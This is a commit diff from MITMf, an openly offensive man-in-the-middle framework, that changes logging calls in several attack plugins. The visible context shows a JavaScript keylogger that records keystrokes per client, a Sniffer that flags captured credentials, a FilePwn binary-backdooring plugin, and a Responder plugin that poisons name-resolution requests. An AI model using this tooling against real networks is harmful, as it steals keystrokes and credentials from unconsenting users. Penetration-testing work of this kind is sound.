fixed logging in responder and some plugins

This commit is contained in:
byt3bl33d3r 2015-04-12 19:00:50 +02:00
commit 5b0a15ea56
10 changed files with 36 additions and 14 deletions

View file

@ -292,7 +292,7 @@ class FilePwn(Plugin):
except Exception as e:
print 'Exception', str(e)
logging.warning("EXCEPTION IN binaryGrinder %s", str(e))
mitmf_logger.warning("EXCEPTION IN binaryGrinder %s", str(e))
return None
def tar_files(self, aTarFileBytes, formatt):

View file

@ -22,6 +22,8 @@ from plugins.plugin import Plugin
from plugins.Inject import Inject
import logging
mitmf_logger = logging.getLogger('mitmf')
class jskeylogger(Inject, Plugin):
name = "Javascript Keylogger"
optname = "jskeylogger"
@ -57,14 +59,14 @@ class jskeylogger(Inject, Plugin):
try:
nice += n.decode('hex')
except:
logging.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n))
mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n))
#try:
# input_field = input_field.decode('hex')
#except:
# logging.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field))
# mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field))
logging.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice))
mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice))
def msf_keylogger(self):
#Stolen from the Metasploit module http_javascript_keylogger

View file

@ -23,7 +23,7 @@ import os
import threading
from plugins.plugin import Plugin
from libs.responder.Responder import start_responder
from libs.responder.Responder import ResponderMITMf
from core.sslstrip.DnsCache import DnsCache
from twisted.internet import reactor
@ -48,7 +48,16 @@ class Responder(Plugin):
if options.Analyse:
self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
start_responder(options, config)
resp = ResponderMITMf()
resp.setCoreVars(options, config)
result = resp.AnalyzeICMPRedirect()
if result:
for line in result:
self.tree_output.append(line)
resp.printDebugInfo()
resp.start()
def plugin_reactor(self, strippingFactory):
reactor.listenTCP(3141, strippingFactory)

View file

@ -106,7 +106,7 @@ class Sniffer(Plugin):
mitmf_logger.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query))
except Exception, e:
error = str(e)
logging.warning(request.clientInfo + "Error parsing search query %s" % error)
mitmf_logger.warning(request.clientInfo + "Error parsing search query %s" % error)
def captureURLCreds(self, request):
'''
@ -131,7 +131,7 @@ class Sniffer(Plugin):
password = search.group()
if (username and password):
logging.warning(request.clientInfo + "Possible Credentials (Method: %s, Host: %s):\n%s" % (request.command, request.headers['host'], url))
mitmf_logger.warning(request.clientInfo + "Possible Credentials (Method: %s, Host: %s):\n%s" % (request.command, request.headers['host'], url))
class NetCreds: